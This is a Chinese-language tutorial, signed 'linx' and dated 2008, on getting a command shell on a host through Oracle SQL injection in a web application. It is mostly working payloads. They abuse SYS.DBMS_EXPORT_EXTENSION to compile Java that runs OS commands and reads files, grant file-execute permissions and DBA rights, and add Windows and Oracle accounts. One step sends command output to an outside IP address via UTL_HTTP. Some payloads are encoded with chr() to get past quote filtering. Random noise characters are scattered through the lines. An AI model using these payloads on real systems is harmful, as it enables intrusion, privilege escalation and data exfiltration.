8 K9 `, {2 w, N; x# c
2 u4 X* D+ w) p: G8 k介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。4 e. q6 M. t T* G5 \1 ~
) p8 k3 @; g0 e% r; V0 T$ U, w
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
( r1 H7 V- e2 T7 R0 j( a1 g6 L2 E! S; N. R
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
1 m! H/ N# s) ?9 C5 N4 k* K2 i/ e4 q5 [% Y* {4 [$ E' }) E
的形式即可。(用" 'a'|| "是为了让语句返回true值)# I' t" I3 q9 [' a1 }
0 K- F1 R0 _$ f( O4 J& h; a
语句有点长,可能要用post提交。
4 V2 `% h0 K! p4 R+ o. s- R' U- v" q2 [
, t# ~+ d, c0 H# U
+ X; M. c, V3 P+ d$ Q' H8 d1 L3 I& I以下是各个步骤:
8 x3 E- K5 A: k, e0 z1 V9 n0 H/ d) z1 Y% i
1.创建包
6 B! O$ e: }6 E: w$ @6 b2 e; l# v# e通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:7 _1 U+ _: s! g( w# a
6 `1 X$ z( v( v7 @& f/xxx.jsp?id=1 and '1'<>'a'||(7 E6 T& R5 F H' H9 U9 ]
/ X1 C* J2 E N1 q- d2 L
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% D' U0 s1 y- _5 `+ p5 ~
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
5 d) t: C L8 rnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
; `- d3 A- e8 P9 `}'''';END;'';END;--','SYS',0,'1',0) from dual
: m1 j, @/ l/ y
& J* T2 L) B$ j( p$ U7 `$ K)
5 p1 ?6 d8 {4 ?% Y5 x2 O+ @8 u! R, Z4 G% A# g" j. g4 @
------------------------, x! Y6 }& S" X) A V" v
如果url有长度限制,可以把readFile()函数块去掉,即:
% ]( O1 N+ D- A3 I/xxx.jsp?id=1 and '1'<>'a'||(
* Z8 K3 k, F6 J% c @5 e
/ L9 c4 e8 m4 \7 Jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 m) k3 u G8 J. ?create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(# {" }9 Z2 g0 H% j& M+ P: {
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
0 m# P1 ^& I! E5 f0 k+ w$ c}'''';END;'';END;--','SYS',0,'1',0) from dual2 y1 `& [: L# s# H
1 l/ l$ v5 D3 E- X0 N' x
)1 w+ k: _3 }; M
0 c2 ]- o+ r4 o: s% i同时把后面步骤 提到的 对readFile()的处理语句去掉。$ Q# g+ P) X; W
------------------------------
% ~! @1 o* _ F4 `# g5 @ b5 w5 c$ |
2.赋Java权限
6 [* l2 l9 M! K2 T1 a0 @
R/ ]) ]6 z7 A" E% W# A4 b- vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3 B+ K+ A/ }- u g) l- A
8 n, |* f' [' H2 n. ?5 W2 o8 K. T( Y' A% M5 |
! j1 J& H! x+ G9 H
3.创建函数5 v2 V" v0 {1 P2 O- D. Q$ ~
/ q% j: X: c2 \& Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( b& x% l. _# O3 z9 ecreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
9 y9 c" h" _; ~' k9 m! Y2 `" p% i1 D; L3 S) D% _6 w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 R1 w# j* {. w+ G0 d/ v9 A3 c) w
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual3 P9 b, |/ s) M, y" y l- h9 F
- m0 e( u S; E0 i' T2 D
4.赋public执行函数的权限* A w$ ^2 m$ ~0 {
- `2 r+ F s6 G1 n7 x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual9 v7 o5 B4 f* f
3 g/ b2 i# [/ m* h* r8 kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual1 a. V$ J# D: _- A7 ?+ m
& ]8 m! J2 l8 Y3 k! p3 G0 g- z
L- E7 D1 v3 e
1 V, D" x; o9 ?. x Q( a: J5.测试上面的几步是否成功6 I f6 }& L- ]! ?
) q) `( B6 w: Y dand '1'<>'11'||(
8 Z" x% \) v8 S" xselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
; e- ~* B; W5 W$ J* t)) x8 ?9 a! [2 R' g
V3 z" B6 u9 R# B3 eand '1'<>(
/ z% I, v" v1 xselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
* P- I) { X" b; b1 d; H- m)
q& Y$ l9 r; n( \3 V! M( a, v1 n) o5 v
6.执行命令:
' J0 Z0 Z! s: E# _% y0 t
* g4 j" u Q' |5 c! F* E, K/xxx.jsp?id=1 and '1'<>(
$ K- A0 m' V! O5 f2 f9 fselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
7 I/ l. V' W3 p2 g l7 B) c: O1 m: l4 n
, J, i+ t( ?: o* S4 A% ]) g. z8 \" Y
/xxx.jsp?id=1 and '1'<>(9 @( ?& b. Z# A: @; { n% G3 k1 `. Z: E
select sys.LinxReadFile('c:/boot.ini') from dual
: Z3 O/ h+ f( y% A9 K. r" W)3 o0 B1 c3 s3 D/ k1 s
$ S- M# O5 A/ X+ ^* F注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
, P* G% {% c& q* j) }2 `3 X如果要查看运行结果可以用 union :
, X0 q! }" n6 M* J& E2 }" I( Q# V- m, |) i, J$ L4 l
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual' d+ C: W; x+ \ g* x$ O' o
, z) B, k4 N% w" K/ u3 _或者UTL_HTTP.request(:' ^. i6 `3 w I: V$ p9 ? P- p! ]
: ^% i( d ]4 J$ {- l" ]
/xxx.jsp?id=1 and '1'<>(
' B5 O' U# z5 J0 S) U' B8 h- ^- bSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
) g, z5 @9 N$ {. d)* p9 t) s9 h- n( S2 L
1 E! X0 [! v. ~0 d
/xxx.jsp?id=1 and '1'<>(
8 s, N2 d; y+ Y! A: |& ESELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual" i s/ R" i& O# m w0 f6 ]: B
)
8 u) F5 v7 s- b w+ F: T9 }# m' c! E. L3 F5 p( P
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。3 k2 y6 l' p; h$ V% q
# d+ w1 J' E. L% W8 e4 r' b! O) O1 X- q
5 B1 h& k. M# b: f1 ~
" R0 Y$ @" G" ^
' f; x B! t% d0 \
# L O% |1 S1 _--------------------4 y" O. \5 K6 c) @( }' A
9 J8 t' r- r1 z! d; Y" R2 U
6.内部变化0 x# U2 B# ~! B) a8 h K4 P/ _ T
通过以下命令可以查看all_objects表达改变:% ~/ L' z3 Z8 Y& a6 A- Y) Q
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'. U2 g" ]* B# C W9 }) O0 q- A
3 ]. G* w& o* {8 k$ E% K) A
7.删除我们创建的函数
: r, Q# G8 h3 ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' p) {2 j/ ~# |. U7 n
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
4 ~+ M& u9 s4 }/ e- k* S
# k" u `* I. T# Q0 X* \, t. g- r! E! p: v/ e6 J4 b( ^* E
0 K$ w1 a& I4 B0 v- j( I. t9 C0 I
" [3 ^, T1 c. u- G% O4 Q
( K6 D S% Y& ~4 Y E2 e0 E C: n====================================================
0 X- \$ ]4 B( B0 u全文结束。谨以此文赠与我的朋友。$ I ^7 x" Z( v9 [$ n
7 h/ K/ j5 W9 O% o/ B' Q
linx! e0 @1 k0 B+ E- P- {
124829445
+ v1 R) B9 s. D* }9 y# k) ?7 O( r2008.1.12
3 x# B& R! C% [( B3 dlinyujian@bjfu.edu.cn
0 \% Z& G/ _- b4 D( y4 x
6 {0 o1 m1 ?, A( N/ q& _6 ^5 N$ x d7 H) I d* n
' z+ N6 L* U* N, s) x4 [3 ~$ W F: c- }
0 a# s% }1 B; x- }* p4 m======================================================================0 O- M( X4 U2 E. H2 x' I8 U
+ N+ h7 b$ T2 u! Y# Z0 e
测试漏洞的另一方法:+ \2 f/ E m2 J/ Y3 V# s
" y# k6 k5 c z* t& H
创建oracle帐号:
. a0 M6 e- H/ I. z) Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- K4 M5 @9 e N2 j/ `$ y
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
9 J) V1 p( }" o# y U
2 d9 }4 A2 k1 q5 b- c3 g g3 W即:
2 ^# J8 C' e" ^2 ~" rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
; k5 i% a; ^5 S0 k r( fchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual1 c4 X& B3 q# ^' w. N2 l
, K- Q" y5 Q+ T- z O确定漏洞存在:
) q* l' s" l" V- W" V1<>(
! c' T$ v5 D# b0 _1 D' h' K' Tselect user_id from all_users where username='LINXSQL'
( ^$ n( R7 H4 D N3 h. U2 T: x)( W/ W, ^; p' K- ?# J. Q; p$ r1 ?
, ~) y) {5 o# @* R6 G- S给linxsql连接权限:5 W+ q* n) H* b
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; G# n) B( W7 F* ~: V) Q4 Z, }
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual* p8 p4 {$ I, r: ^/ O, Q$ ~) a
0 h( B) |6 q/ \$ y, W* l8 d删除帐号:
* G9 ~; }/ \) X1 q: Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" D2 j! d* O7 v; Q" R; gdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
. [4 Q2 b6 j+ k8 o# S" L" K% @! R4 I3 B) w0 P' m- R7 j
======================
, W" u9 Q* p6 h( l0 {! Q) ~, `4 x( [* g& m8 Q+ V7 P: j
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
1 r. _. }. ?, M( J8 N3 U$ W1 e2 `$ y/ O _8 s
1.jsp?id=1 and '1'<>(
) z6 U3 K3 P1 G2 u1 Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', O: Z* q$ {0 Y4 L* F1 F/ k2 t
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
- C! ] N; {' B/ d9 P, Z) and ...* H. Y* L! l3 J( A! J* F
, L2 G. y h, f! }: ^
1.jsp?id=1 and '1'<>(( E% @# J- ?- b# H; C+ c: J2 F
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual; m7 x$ U) Q4 R) `5 k8 ^2 x
) and ...- d. i* J) I: a V( E- S" `
$ z6 |1 b9 i- z m; @
1.jsp?id=1 and '1'<>(9 P( ^: B0 \& P; N- v
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL) X1 x l; |# m4 H( [' U' g! x {3 E" u
) and ...
/ T! z4 q1 {. {, B0 J
% k! `5 s' k( @) i' x1 J, S
6 @- B3 E' N. E/ |5 _1 v* D; j. v$ B$ b* `$ p4 x
1.jsp?id=1 and '1'<>(
) a, A7 x Q: \! `6 _SELECT sys.Linx_Query('declare pragma
' Y: r5 G3 }9 T; v; @' B* eautonomous_transaction; begin execute immediate '' [( t o9 T" \6 ?
select 1 from dual9 p) c; V5 r( E" P1 N0 R- l
''; commit; end;') from dual) k, c# c/ [8 [9 Z) U
) and ...
/ w% C2 z4 {$ y1 {( s( b& c, h2 }4 m6 ]0 B. @% i# |
多语句:
/ r5 l3 S, Q, {. D; }SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
/ {/ g: N: G; `+ w2 n; d/ m7 A9 q7 W# w% q2 B7 y; r! q1 I
创建用户(除非当前用户有system权限,否则无法成功):- C8 s% d" {3 w( U
SELECT sys.Linx_Query('declare pragma! W2 y6 V4 l. Y6 b# X) f9 O4 m) Z6 I' f
autonomous_transaction; begin execute immediate '') h- L" O! z1 |* j/ R9 ^
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User3 P1 k7 u% H5 _! g
''; commit; end;') from dual
& {/ F* B! @% x7 d
3 l0 |0 m+ V+ R8 g% I4 |! x
8 ]8 {) D1 x5 H
. W; z% D$ W5 Y7 W4 J+ q& S+ u! z
8 M0 `: S4 o2 O. @7 T i* Z6 x# t" Z& W ?1 w
================
q1 {2 n% H8 o. J以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()8 ]% z0 H+ u2 {/ t, f
. h( J4 t. s4 V/ x, Z
1.创建函数- j$ S/ z& Q; K+ m+ n2 [" `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! @ h4 o3 C- m" [$ {4 o; n( P. Y
create or replace function Linx_Query (p. B& `+ l, v+ M! U6 {
varchar2) return number authid current_user is begin execute immediate9 Z% r6 }) F$ y2 G. \+ O; k
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;* x) W2 r& S0 H3 L: `5 p
/ K/ P! |9 [! G9 G5 g如果有权限,以下语句应该允许正常3 P! Z9 |5 @2 V4 E8 @
select sys.linx_query('select 1 from dual') from dual;! Y e2 S" ?( x# v M; R
, `) V! M6 W: c( F2 g) D/ g; w5 Z. h
不然的话运行:
. x9 k. E4 T% _( | k- J
. m9 c6 u4 u. k: wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* |+ r5 i6 @% {9 T" ~; M
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
1 n0 ^8 d3 p, _
8 m/ U5 o& Z' ~ |/ _' }3 Q: R) E7 v! W
0 }7 @' Y+ U. X! W2.创建包# g' }: n* J/ E! N) y# f
SELECT sys.Linx_Query('declare pragma
! p. w, t- _* @2 Iautonomous_transaction; begin execute immediate ''
( A: O! [- ` Ccreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(& }# B% n4 D: m# j. r3 ]) K
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
" @9 r$ E$ C/ N3 b
: I" m$ ~4 O! u) R6 `3.创建函数
7 ~' c& |5 x. ^* j- l* q, aSELECT sys.Linx_Query('declare pragma) ?4 ^, i1 {7 f+ V9 R3 c
autonomous_transaction; begin execute immediate ''
j5 ?# K6 r- C" g9 Z) |4 Ycreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
1 M* }1 p- q8 g$ Y) y! j C( N6 i0 j8 E0 J2 N; P
4.给权限
$ j/ D7 x# s7 k9 w给用户SYSTEM执行权限:
; K4 B8 c5 w9 `% C0 _
& U4 B/ |! u% B1 {! BSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual1 Q" V! [1 x9 {; v, i, H
1 k" ^1 {( e2 n$ U) z; |
) p) {4 g9 @) G( F2 ~( H0 F1 E% Q8 v9 i
5.执行函数; }2 P- l! l% H9 N
select RunCMD2('cmd /c dir') from dual$ V( ~! m5 h; y( k. T) V" g+ g9 c+ q
2 F$ A3 y- D1 ^/ ~7 d
( r8 A, Q2 \) T2 [. }% c
8 x, S0 Z. u/ x% D& b
; k/ K% G! @4 J# Q: p
0 E/ L L/ y" Y/ k" I==================
7 t f. |0 T& ]# h* A1 @================================2 F) {5 x, n# F* j! F
/ ]* o3 m! N( u2 |$ Z I6 Y
以下是无 " ' " 版:
( {6 V0 n8 ^/ I+ G. ^" v+ w4 R. y- |) Y: O) A+ F& R2 E- S) U2 S* Y9 A4 d
以下是各个步骤:) U: S! S9 H3 S1 g, t' m
1 L" W! n) Q- p% a3 P! d1 Y1.创建包
' F# F5 @# r! n; ?1 ^: h1 r6 K通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:$ [; r! k; o- Q9 a9 V( J; h
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
7 F2 j8 o% B% W& {, _( x* R7 j5 I0 Z$ `5 W6 u' z9 S
/xxx.jsp?id=1 and chr(49)<>chr(50)||(( r) t o% L$ z# z( n
' @7 l& W0 d( @. h A# x$ u1 R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),! j3 _* Y* M7 o- o% [
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
' B3 u$ N# u: Achr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
1 q4 H) t% a ~, f( g- wchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
5 G* O1 A9 B$ W; a. U7 U* N3 ~# L1 Tchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
0 B7 H+ S, e+ n6 O; O2 wchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
! H3 \% I6 C4 P8 k- v. t8 ?5 \chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||' l9 [0 q0 E& R* Y5 T# T) y* {
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||* V. _; A4 R. ?0 m' x! ~
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||2 i# ^/ D& f, f. L
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||# N, X5 r: |/ l% x1 Q/ H! G E
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||$ ?) J9 y5 |( |5 j2 C
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
/ e7 X0 u w4 y" q8 [chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
. O& }; Y+ [" Wchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
, o# u$ T; p- g* n lchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)|| [+ e6 i6 @% B- k3 k9 H4 w4 b5 p& q- w
